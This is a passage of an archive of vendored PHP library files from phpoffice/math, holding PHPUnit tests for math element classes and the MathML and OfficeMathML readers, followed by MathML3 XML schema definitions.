            $this->expectExceptionMessageRegExp('/PhpOffice\\\Math\\\Writer\\\OfficeMathML::getElementTagName : The element of the class/');
            $this->expectExceptionMessageRegExp('/has no tag name/');
        } else {
            // @phpstan-ignore-next-line
            $this->expectExceptionMessageMatches('/PhpOffice\\\Math\\\Writer\\\OfficeMathML::getElementTagName : The element of the class/');
            // @phpstan-ignore-next-line
            $this->expectExceptionMessageMatches('/has no tag name/');
        }

        $math = new Math();

        $object = new class extends Element\AbstractElement {};
        $math->add($object);

        $writer = new OfficeMathML();
        $output = $writer->write($math);
    }
}
vendor/phpoffice/math/tests/Math/Element/SemanticsTest.php000066600000001766151150442730017700 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element\Semantics;
use PHPUnit\Framework\TestCase;

class SemanticsTest extends TestCase
{
    public function testConstruct(): void
    {
        $semantics = new Semantics();

        $this->assertIsArray($semantics->getAnnotations());
        $this->assertCount(0, $semantics->getAnnotations());
    }

    public function testAnnotation(): void
    {
        $semantics = new Semantics();

        $this->assertIsArray($semantics->getAnnotations());
        $this->assertCount(0, $semantics->getAnnotations());

        $this->assertInstanceOf(Semantics::class, $semantics->addAnnotation('encoding', 'content'));
        $this->assertEquals(['encoding' => 'content'], $semantics->getAnnotations());
        $this->assertCount(1, $semantics->getAnnotations());

        $this->assertEquals('content', $semantics->getAnnotation('encoding'));
        $this->assertNull($semantics->getAnnotation('notexisting'));
    }
}
vendor/phpoffice/math/tests/Math/Element/OperatorTest.php000066600000000517151150442730017536 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element\Operator;
use PHPUnit\Framework\TestCase;

class OperatorTest extends TestCase
{
    public function testConstruct(): void
    {
        $operator = new Operator('+');

        $this->assertEquals('+', $operator->getValue());
    }
}
vendor/phpoffice/math/tests/Math/Element/SuperscriptTest.php000066600000003054151150442730020265 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element;
use PhpOffice\Math\Element\Superscript;
use PHPUnit\Framework\TestCase;

class SuperscriptTest extends TestCase
{
    public function testConstruct(): void
    {
        $superscript = new Superscript(new Element\Identifier('a'), new Element\Identifier('a'));

        $this->assertInstanceOf(Element\Identifier::class, $superscript->getBase());
        $this->assertInstanceOf(Element\Identifier::class, $superscript->getSuperscript());
    }

    public function testBase(): void
    {
        $identifierA = new Element\Identifier('a');
        $identifierB = new Element\Identifier('b');
        $identifierC = new Element\Identifier('c');

        $superscript = new Superscript($identifierA, $identifierB);

        $this->assertEquals($identifierA, $superscript->getBase());
        $this->assertInstanceOf(Superscript::class, $superscript->setBase($identifierC));
        $this->assertEquals($identifierC, $superscript->getBase());
    }

    public function testSuperscript(): void
    {
        $identifierA = new Element\Identifier('a');
        $identifierB = new Element\Identifier('b');
        $identifierC = new Element\Identifier('c');

        $superscript = new Superscript($identifierA, $identifierB);

        $this->assertEquals($identifierB, $superscript->getSuperscript());
        $this->assertInstanceOf(Superscript::class, $superscript->setSuperscript($identifierC));
        $this->assertEquals($identifierC, $superscript->getSuperscript());
    }
}
vendor/phpoffice/math/tests/Math/Element/IdentifierTest.php000066600000000525151150442730020024 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element\Identifier;
use PHPUnit\Framework\TestCase;

class IdentifierTest extends TestCase
{
    public function testConstruct(): void
    {
        $operator = new Identifier('x');

        $this->assertEquals('x', $operator->getValue());
    }
}
vendor/phpoffice/math/tests/Math/Element/AbstractGroupElementTest.php000066600000002207151150442730022033 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element;
use PHPUnit\Framework\TestCase;

class AbstractGroupElementTest extends TestCase
{
    public function testConstruct(): void
    {
        $row = new Element\Row();

        $this->assertIsArray($row->getElements());
        $this->assertCount(0, $row->getElements());
    }

    public function testAdd(): void
    {
        $identifierA = new Element\Identifier('a');
        $row = new Element\Row();

        $this->assertCount(0, $row->getElements());

        $this->assertInstanceOf(Element\AbstractGroupElement::class, $row->add($identifierA));

        $this->assertCount(1, $row->getElements());
        $this->assertEquals([$identifierA], $row->getElements());
    }

    public function testRemove(): void
    {
        $identifierA = new Element\Identifier('a');

        $row = new Element\Row();
        $row->add($identifierA);

        $this->assertCount(1, $row->getElements());

        $this->assertInstanceOf(Element\AbstractGroupElement::class, $row->remove($identifierA));

        $this->assertCount(0, $row->getElements());
    }
}
vendor/phpoffice/math/tests/Math/Element/FractionTest.php000066600000003060151150442730017504 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element;
use PhpOffice\Math\Element\Fraction;
use PHPUnit\Framework\TestCase;

class FractionTest extends TestCase
{
    public function testConstruct(): void
    {
        $identifierA = new Element\Identifier('a');
        $identifierB = new Element\Identifier('b');

        $fraction = new Fraction($identifierA, $identifierB);

        $this->assertEquals($identifierA, $fraction->getNumerator());
        $this->assertEquals($identifierB, $fraction->getDenominator());
    }

    public function testBase(): void
    {
        $identifierA = new Element\Identifier('a');
        $identifierB = new Element\Identifier('b');
        $identifierC = new Element\Identifier('c');

        $fraction = new Fraction($identifierA, $identifierB);

        $this->assertEquals($identifierA, $fraction->getNumerator());
        $this->assertInstanceOf(Fraction::class, $fraction->setNumerator($identifierC));
        $this->assertEquals($identifierC, $fraction->getNumerator());
    }

    public function testFraction(): void
    {
        $identifierA = new Element\Identifier('a');
        $identifierB = new Element\Identifier('b');
        $identifierC = new Element\Identifier('c');

        $fraction = new Fraction($identifierA, $identifierB);

        $this->assertEquals($identifierB, $fraction->getDenominator());
        $this->assertInstanceOf(Fraction::class, $fraction->setDenominator($identifierC));
        $this->assertEquals($identifierC, $fraction->getDenominator());
    }
}
vendor/phpoffice/math/tests/Math/Element/NumericTest.php000066600000000506151150442730017343 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Element;

use PhpOffice\Math\Element\Numeric;
use PHPUnit\Framework\TestCase;

class NumericTest extends TestCase
{
    public function testConstruct(): void
    {
        $numeric = new Numeric(2);

        $this->assertEquals(2, $numeric->getValue());
    }
}
vendor/phpoffice/math/tests/Math/Reader/MathMLTest.php000066600000026404151150442730016701 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Reader;

use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\InvalidInputException;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;
use PhpOffice\Math\Reader\MathML;
use PHPUnit\Framework\TestCase;

class MathMLTest extends TestCase
{
    public function testReadBasic(): void
    {
        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
        <math xmlns="http://www.w3.org/1998/Math/MathML">
            <mrow>
                <mi>a</mi> <mo>&InvisibleTimes;</mo> <msup><mi>x</mi><mn>2</mn></msup>
                <mo>+</mo><mi>b</mi><mo>&InvisibleTimes;</mo><mi>x</mi>
                <mo>+</mo><mi>c</mi>
            </mrow>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
        $this->assertInstanceOf(Math::class, $math);

        $elements = $math->getElements();
        $this->assertCount(1, $elements);
        $this->assertInstanceOf(Element\Row::class, $elements[0]);

        /** @var Element\Row $element */
        $element = $elements[0];
        $subElements = $element->getElements();
        $this->assertCount(9, $subElements);

        /** @var Element\Identifier $subElement */
        $subElement = $subElements[0];
        $this->assertInstanceOf(Element\Identifier::class, $subElement);
        $this->assertEquals('a', $subElement->getValue());

        /** @var Element\Identifier $subElement */
        $subElement = $subElements[1];
        $this->assertInstanceOf(Element\Operator::class, $subElement);
        $this->assertEquals('InvisibleTimes', $subElement->getValue());

        /** @var Element\Superscript $subElement */
        $subElement = $subElements[2];
        $this->assertInstanceOf(Element\Superscript::class, $subElements[2]);

        /** @var Element\Identifier $base */
        $base = $subElement->getBase();
        $this->assertInstanceOf(Element\Identifier::class, $base);
        $this->assertEquals('x', $base->getValue());

        /** @var Element\Numeric $superscript */
        $superscript = $subElement->getSuperscript();
        $this->assertInstanceOf(Element\Numeric::class, $superscript);
        $this->assertEquals(2, $superscript->getValue());

        /** @var Element\Operator $subElement */
        $subElement = $subElements[3];
        $this->assertInstanceOf(Element\Operator::class, $subElement);
        $this->assertEquals('+', $subElement->getValue());

        /** @var Element\Identifier $subElement */
        $subElement = $subElements[4];
        $this->assertInstanceOf(Element\Identifier::class, $subElement);
        $this->assertEquals('b', $subElement->getValue());

        /** @var Element\Operator $subElement */
        $subElement = $subElements[5];
        $this->assertInstanceOf(Element\Operator::class, $subElement);
        $this->assertEquals('InvisibleTimes', $subElement->getValue());

        /** @var Element\Identifier $subElement */
        $subElement = $subElements[6];
        $this->assertInstanceOf(Element\Identifier::class, $subElement);
        $this->assertEquals('x', $subElement->getValue());

        /** @var Element\Operator $subElement */
        $subElement = $subElements[7];
        $this->assertInstanceOf(Element\Operator::class, $subElement);
        $this->assertEquals('+', $subElement->getValue());

        /** @var Element\Identifier $subElement */
        $subElement = $subElements[8];
        $this->assertInstanceOf(Element\Identifier::class, $subElement);
        $this->assertEquals('c', $subElement->getValue());
    }

    public function testReadFraction(): void
    {
        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
        <math xmlns="http://www.w3.org/1998/Math/MathML">
            <mfrac bevelled="true">
                <mfrac>
                    <mi> a </mi>
                    <mi> b </mi>
                </mfrac>
                <mfrac>
                    <mi> c </mi>
                    <mi> d </mi>
                </mfrac>
            </mfrac>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
        $this->assertInstanceOf(Math::class, $math);

        $elements = $math->getElements();
        $this->assertCount(1, $elements);
        $this->assertInstanceOf(Element\Fraction::class, $elements[0]);

        /** @var Element\Fraction $element */
        $element = $elements[0];

        $this->assertInstanceOf(Element\Fraction::class, $element->getNumerator());
        /** @var Element\Fraction $subElement */
        $subElement = $element->getNumerator();

        /** @var Element\Identifier $numerator */
        $numerator = $subElement->getNumerator();
        $this->assertInstanceOf(Element\Identifier::class, $numerator);
        $this->assertEquals('a', $numerator->getValue());
        /** @var Element\Identifier $denominator */
        $denominator = $subElement->getDenominator();
        $this->assertInstanceOf(Element\Identifier::class, $denominator);
        $this->assertEquals('b', $denominator->getValue());

        $this->assertInstanceOf(Element\Fraction::class, $element->getDenominator());
        /** @var Element\Fraction $subElement */
        $subElement = $element->getDenominator();

        /** @var Element\Identifier $numerator */
        $numerator = $subElement->getNumerator();
        $this->assertInstanceOf(Element\Identifier::class, $numerator);
        $this->assertEquals('c', $numerator->getValue());
        /** @var Element\Identifier $denominator */
        $denominator = $subElement->getDenominator();
        $this->assertInstanceOf(Element\Identifier::class, $denominator);
        $this->assertEquals('d', $denominator->getValue());
    }

    public function testReadFractionInvalid(): void
    {
        $this->expectException(InvalidInputException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\MathML::getElement : The tag `mfrac` has not two subelements');

        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
        <math xmlns="http://www.w3.org/1998/Math/MathML">
            <mfrac>
                <mi> a </mi>
            </mfrac>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
    }

    public function testReadFractionWithRow(): void
    {
        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
        <math xmlns="http://www.w3.org/1998/Math/MathML">
            <mfrac>
                <mrow>
                    <mn>3</mn>
                    <mo>-</mo>
                    <mi>x</mi>
                </mrow>
                <mn>2</mn>
            </mfrac>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
        $this->assertInstanceOf(Math::class, $math);

        $elements = $math->getElements();
        $this->assertCount(1, $elements);
        $this->assertInstanceOf(Element\Fraction::class, $elements[0]);

        /** @var Element\Fraction $element */
        $element = $elements[0];

        $this->assertInstanceOf(Element\Row::class, $element->getNumerator());
        /** @var Element\Row $subElement */
        $subElement = $element->getNumerator();

        $subsubElements = $subElement->getElements();
        $this->assertCount(3, $subsubElements);

        /** @var Element\Numeric $subsubElement */
        $subsubElement = $subsubElements[0];
        $this->assertInstanceOf(Element\Numeric::class, $subsubElement);
        $this->assertEquals('3', $subsubElement->getValue());

        /** @var Element\Operator $subsubElement */
        $subsubElement = $subsubElements[1];
        $this->assertInstanceOf(Element\Operator::class, $subsubElement);
        $this->assertEquals('-', $subsubElement->getValue());

        /** @var Element\Identifier $subsubElement */
        $subsubElement = $subsubElements[2];
        $this->assertInstanceOf(Element\Identifier::class, $subsubElement);
        $this->assertEquals('x', $subsubElement->getValue());

        $this->assertInstanceOf(Element\Numeric::class, $element->getDenominator());
        /** @var Element\Numeric $subElement */
        $subElement = $element->getDenominator();
        $this->assertEquals('2', $subElement->getValue());
    }

    public function testReadSuperscriptInvalid(): void
    {
        $this->expectException(InvalidInputException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\MathML::getElement : The tag `msup` has not two subelements');

        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
        <math xmlns="http://www.w3.org/1998/Math/MathML">
            <msup>
                <mi> a </mi>
            </msup>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
    }

    public function testReadSemantics(): void
    {
        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <math xmlns="http://www.w3.org/1998/Math/MathML" display="block">
            <semantics>
                <mrow>
                    <mfrac>
                        <mi>π</mi>
                        <mn>2</mn>
                    </mfrac>
                    <mo stretchy="false">+</mo>
                    <mrow>
                        <mi>a</mi>
                        <mo stretchy="false">∗</mo>
                        <mn>2</mn>
                    </mrow>
                </mrow>
                <annotation encoding="StarMath 5.0">{π} over {2}  + { a } * 2 </annotation>
            </semantics>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
        $this->assertInstanceOf(Math::class, $math);

        $elements = $math->getElements();
        $this->assertCount(1, $elements);
        $this->assertInstanceOf(Element\Semantics::class, $elements[0]);

        /** @var Element\Semantics $element */
        $element = $elements[0];

        // Check MathML
        $subElements = $element->getElements();
        $this->assertCount(1, $subElements);
        $this->assertInstanceOf(Element\Row::class, $subElements[0]);

        // Check Annotation
        $this->assertCount(1, $element->getAnnotations());
        $this->assertEquals('{π} over {2}  + { a } * 2', $element->getAnnotation('StarMath 5.0'));
    }

    public function testReadNotImplemented(): void
    {
        $this->expectException(NotImplementedException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\MathML::getElement : The tag `mnotexisting` is not implemented');

        $content = '<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
        <math xmlns="http://www.w3.org/1998/Math/MathML">
            <mnotexisting>
                <mi> a </mi>
            </mnotexisting>
        </math>';

        $reader = new MathML();
        $math = $reader->read($content);
    }
}
vendor/phpoffice/math/tests/Math/Reader/OfficeMathMLTest.php000066600000015721151150442730020015 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Reader;

use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\InvalidInputException;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;
use PhpOffice\Math\Reader\OfficeMathML;
use PHPUnit\Framework\TestCase;

class OfficeMathMLTest extends TestCase
{
    public function testRead(): void
    {
        $content = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
        <m:oMath>
          <m:f>
            <m:num><m:r><m:t>2</m:t></m:r></m:num>
            <m:den><m:r><m:t>π</m:t></m:r></m:den>
          </m:f>
        </m:oMath>
      </m:oMathPara>';

        $reader = new OfficeMathML();
        $math = $reader->read($content);
        $this->assertInstanceOf(Math::class, $math);

        $elements = $math->getElements();
        $this->assertCount(1, $elements);
        $this->assertInstanceOf(Element\Row::class, $elements[0]);

        /** @var Element\Row $element */
        $element = $elements[0];
        $subElements = $element->getElements();
        $this->assertCount(1, $subElements);
        $this->assertInstanceOf(Element\Fraction::class, $subElements[0]);

        /** @var Element\Fraction $subElement */
        $subElement = $subElements[0];

        /** @var Element\Identifier $numerator */
        $numerator = $subElement->getNumerator();
        $this->assertInstanceOf(Element\Numeric::class, $numerator);
        $this->assertEquals(2, $numerator->getValue());

        /** @var Element\Numeric $denominator */
        $denominator = $subElement->getDenominator();
        $this->assertInstanceOf(Element\Identifier::class, $denominator);
        $this->assertEquals('π', $denominator->getValue());
    }

    public function testReadWithWTag(): void
    {
        $content = '<m:oMath xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
          <m:f>
            <m:num>
              <m:r>
                <w:rPr><w:rFonts w:ascii="Cambria Math" w:hAnsi="Cambria Math"/></w:rPr>
                <m:t xml:space="preserve">π</m:t>
              </m:r>
            </m:num>
            <m:den>
              <m:r>
                <w:rPr><w:rFonts w:ascii="Cambria Math" w:hAnsi="Cambria Math"/></w:rPr>
                <m:t xml:space="preserve">2</m:t>
              </m:r>
            </m:den>
          </m:f>
          <m:r>
            <w:rPr><w:rFonts w:ascii="Cambria Math" w:hAnsi="Cambria Math"/></w:rPr>
            <m:t xml:space="preserve">+</m:t>
          </m:r>
          <m:r>
            <w:rPr><w:rFonts w:ascii="Cambria Math" w:hAnsi="Cambria Math"/></w:rPr>
            <m:t xml:space="preserve">a</m:t>
          </m:r>
          <m:r>
            <w:rPr><w:rFonts w:ascii="Cambria Math" w:hAnsi="Cambria Math"/></w:rPr>
            <m:t xml:space="preserve">∗</m:t>
          </m:r>
          <m:r>
            <w:rPr><w:rFonts w:ascii="Cambria Math" w:hAnsi="Cambria Math"/></w:rPr>
            <m:t xml:space="preserve">2</m:t>
          </m:r>
        </m:oMath>';

        $reader = new OfficeMathML();
        $math = $reader->read($content);
        $this->assertInstanceOf(Math::class, $math);

        $elements = $math->getElements();
        $this->assertCount(5, $elements);

        /** @var Element\Fraction $element */
        $element = $elements[0];
        $this->assertInstanceOf(Element\Fraction::class, $element);
        /** @var Element\Identifier $numerator */
        $numerator = $element->getNumerator();
        $this->assertInstanceOf(Element\Identifier::class, $numerator);
        $this->assertEquals('π', $numerator->getValue());
        /** @var Element\Numeric $denominator */
        $denominator = $element->getDenominator();
        $this->assertInstanceOf(Element\Numeric::class, $denominator);
        $this->assertEquals(2, $denominator->getValue());

        /** @var Element\Operator $element */
        $element = $elements[1];
        $this->assertInstanceOf(Element\Operator::class, $element);
        $this->assertEquals('+', $element->getValue());

        /** @var Element\Identifier $element */
        $element = $elements[2];
        $this->assertInstanceOf(Element\Identifier::class, $element);
        $this->assertEquals('a', $element->getValue());

        /** @var Element\Operator $element */
        $element = $elements[3];
        $this->assertInstanceOf(Element\Operator::class, $element);
        $this->assertEquals('∗', $element->getValue());

        /** @var Element\Numeric $element */
        $element = $elements[4];
        $this->assertInstanceOf(Element\Numeric::class, $element);
        $this->assertEquals(2, $element->getValue());
    }

    public function testReadFractionNoNumerator(): void
    {
        $this->expectException(InvalidInputException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\OfficeMathML::getElement : The tag `m:f` has no numerator defined');

        $content = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
          <m:oMath>
            <m:f>
              <m:den><m:r><m:t>2</m:t></m:r></m:den>
            </m:f>
          </m:oMath>
        </m:oMathPara>';

        $reader = new OfficeMathML();
        $math = $reader->read($content);
    }

    public function testReadFractionNoDenominator(): void
    {
        $this->expectException(InvalidInputException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\OfficeMathML::getElement : The tag `m:f` has no denominator defined');

        $content = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
          <m:oMath>
            <m:f>
              <m:num><m:r><m:t>π</m:t></m:r></m:num>
            </m:f>
          </m:oMath>
        </m:oMathPara>';

        $reader = new OfficeMathML();
        $math = $reader->read($content);
    }

    public function testReadBasicNoText(): void
    {
        $this->expectException(InvalidInputException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\OfficeMathML::getElement : The tag `m:r` has no tag `m:t` defined');

        $content = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
          <m:oMath>
            <m:r>
              a
            </m:r>
          </m:oMath>
        </m:oMathPara>';

        $reader = new OfficeMathML();
        $math = $reader->read($content);
    }

    public function testReadNotImplemented(): void
    {
        $this->expectException(NotImplementedException::class);
        $this->expectExceptionMessage('PhpOffice\Math\Reader\OfficeMathML::getElement : The tag `m:mnotexisting` is not implemented');

        $content = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
          <m:oMath>
            <m:mnotexisting>
              <m:num><m:r><m:t>π</m:t></m:r></m:num>
            </m:mnotexisting>
          </m:oMath>
        </m:oMathPara>';

        $reader = new OfficeMathML();
        $math = $reader->read($content);
    }
}
vendor/phpoffice/math/tests/resources/schema/mathml3/mathml3-common.xsd000066600000007701151150442730022304 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:m="http://www.w3.org/1998/Math/MathML" elementFormDefault="qualified" targetNamespace="http://www.w3.org/1998/Math/MathML">
   <xs:element name="math">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MathExpression"/>
         <xs:attributeGroup ref="m:math.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="CommonDeprecatedAtt">
      <xs:attribute name="other"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="CommonAtt">
      <xs:attribute name="id" type="xs:ID"/>
      <xs:attribute name="xref"/>
      <xs:attribute name="class" type="xs:NMTOKENS"/>
      <xs:attribute name="style" type="xs:string"/>
      <xs:attribute name="href" type="xs:anyURI"/>
      <xs:attributeGroup ref="m:CommonDeprecatedAtt"/>
      <xs:anyAttribute namespace="##other" processContents="skip"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="math.deprecatedattributes">
      <xs:attribute name="mode" type="xs:string"/>
      <xs:attribute name="macros" type="xs:string"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="name">
      <xs:attribute name="name" use="required" type="xs:NCName"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="cd">
      <xs:attribute name="cd" use="required" type="xs:NCName"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="src">
      <xs:attribute name="src" type="xs:anyURI"/>
   </xs:attributeGroup>
   <xs:element name="annotation">
      <xs:complexType mixed="true">
         <xs:attributeGroup ref="m:annotation.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:complexType name="annotation-xml.model"><!--content model altered for libxml (annotation-xml)--><xs:sequence>
         <xs:any processContents="lax"/>
      </xs:sequence>
   </xs:complexType>
   <xs:group name="anyElement">
      <xs:choice>
         <xs:any namespace="##other" processContents="skip"/>
         <xs:any namespace="##local" processContents="skip"/>
      </xs:choice>
   </xs:group>
   <xs:element name="annotation-xml">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:annotation-xml.model">
               <xs:attributeGroup ref="m:annotation.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="annotation.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attribute name="cd" type="xs:NCName"/>
      <xs:attribute name="name" type="xs:NCName"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
      <xs:attributeGroup ref="m:src"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="DefEncAtt">
      <xs:attribute name="encoding" type="xs:string"/>
      <xs:attribute name="definitionURL" type="xs:anyURI"/>
   </xs:attributeGroup>
   <xs:group name="semantics">
      <xs:sequence>
         <xs:element name="semantics">
            <xs:complexType>
               <xs:sequence>
                  <xs:group ref="m:MathExpression"/>
                  <xs:choice minOccurs="0" maxOccurs="unbounded">
                     <xs:element ref="m:annotation"/>
                     <xs:element ref="m:annotation-xml"/>
                  </xs:choice>
               </xs:sequence>
               <xs:attributeGroup ref="m:semantics.attributes"/>
            </xs:complexType>
         </xs:element>
      </xs:sequence>
   </xs:group>
   <xs:attributeGroup name="semantics.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
      <xs:attribute name="cd" type="xs:NCName"/>
      <xs:attribute name="name" type="xs:NCName"/>
   </xs:attributeGroup>
   <xs:simpleType name="length">
      <xs:restriction base="xs:string">
         <xs:pattern value="\s*((-?[0-9]*([0-9]\.?|\.[0-9])[0-9]*(e[mx]|in|cm|mm|p[xtc]|%)?)|(negative)?((very){0,2}thi(n|ck)|medium)mathspace)\s*"/>
      </xs:restriction>
   </xs:simpleType>
</xs:schema>vendor/phpoffice/math/tests/resources/schema/mathml3/mathml3-content.xsd000066600000067407151150442730022477 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:m="http://www.w3.org/1998/Math/MathML" elementFormDefault="qualified" targetNamespace="http://www.w3.org/1998/Math/MathML">
   <xs:include schemaLocation="mathml3-strict-content.xsd"/>
   <xs:complexType name="cn.content" mixed="true">
      <xs:choice minOccurs="0" maxOccurs="unbounded">
         <xs:element ref="m:mglyph"/>
         <xs:element ref="m:sep"/>
         <xs:element ref="m:PresentationExpression"/>
      </xs:choice>
   </xs:complexType>
   <xs:attributeGroup name="cn.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
      <xs:attribute name="type"/>
      <xs:attribute name="base"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="ci.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
      <xs:attribute name="type"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="ci.type">
      <xs:attribute name="type" use="required"/>
   </xs:attributeGroup>
   <xs:complexType name="ci.content" mixed="true">
      <xs:choice minOccurs="0" maxOccurs="unbounded">
         <xs:element ref="m:mglyph"/>
         <xs:element ref="m:PresentationExpression"/>
      </xs:choice>
   </xs:complexType>
   <xs:attributeGroup name="csymbol.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
      <xs:attribute name="type"/>
      <xs:attribute name="cd" type="xs:NCName"/>
   </xs:attributeGroup>
   <xs:complexType name="csymbol.content" mixed="true">
      <xs:choice minOccurs="0" maxOccurs="unbounded">
         <xs:element ref="m:mglyph"/>
         <xs:element ref="m:PresentationExpression"/>
      </xs:choice>
   </xs:complexType>
   <xs:element name="bvar">
      <xs:complexType>
         <xs:choice minOccurs="0" maxOccurs="unbounded">
            <xs:choice>
               <xs:element ref="m:ci"/>
               <xs:group ref="m:semantics-ci"/>
            </xs:choice>
            <xs:element ref="m:degree"/>
         </xs:choice>
         <xs:attributeGroup ref="m:CommonAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="cbytes.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="cs.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:DefEncAtt"/>
   </xs:attributeGroup>
   <!--Ambiguous content model altered (apply.content)-->
<xs:complexType name="apply.content">
      <xs:sequence>
         <xs:group ref="m:ContExp"/>
         <xs:group ref="m:BvarQ"/>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:Qualifier"/>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:ContExp"/>
      </xs:sequence>
   </xs:complexType>
   <xs:complexType name="bind.content">
      <xs:complexContent>
         <xs:extension base="m:apply.content"/>
      </xs:complexContent>
   </xs:complexType>
   <xs:attributeGroup name="base">
      <xs:attribute name="base" use="required"/>
   </xs:attributeGroup>
   <xs:element name="sep">
      <xs:complexType/>
   </xs:element>
   <xs:element name="PresentationExpression" abstract="true"/>
   <xs:group name="DomainQ">
      <xs:sequence>
         <xs:choice minOccurs="0" maxOccurs="unbounded">
            <xs:element ref="m:domainofapplication"/>
            <xs:element ref="m:condition"/>
            <!--Ambiguous content model altered (interval)--><xs:sequence>
               <xs:element ref="m:lowlimit"/>
               <xs:element minOccurs="0" ref="m:uplimit"/>
            </xs:sequence>
         </xs:choice>
      </xs:sequence>
   </xs:group>
   <xs:element name="domainofapplication">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="condition">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="uplimit">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="lowlimit">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:group name="Qualifier">
      <xs:choice>
         <xs:group ref="m:DomainQ"/>
         <xs:element ref="m:degree"/>
         <xs:element ref="m:momentabout"/>
         <xs:element ref="m:logbase"/>
      </xs:choice>
   </xs:group>
   <xs:element name="degree">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
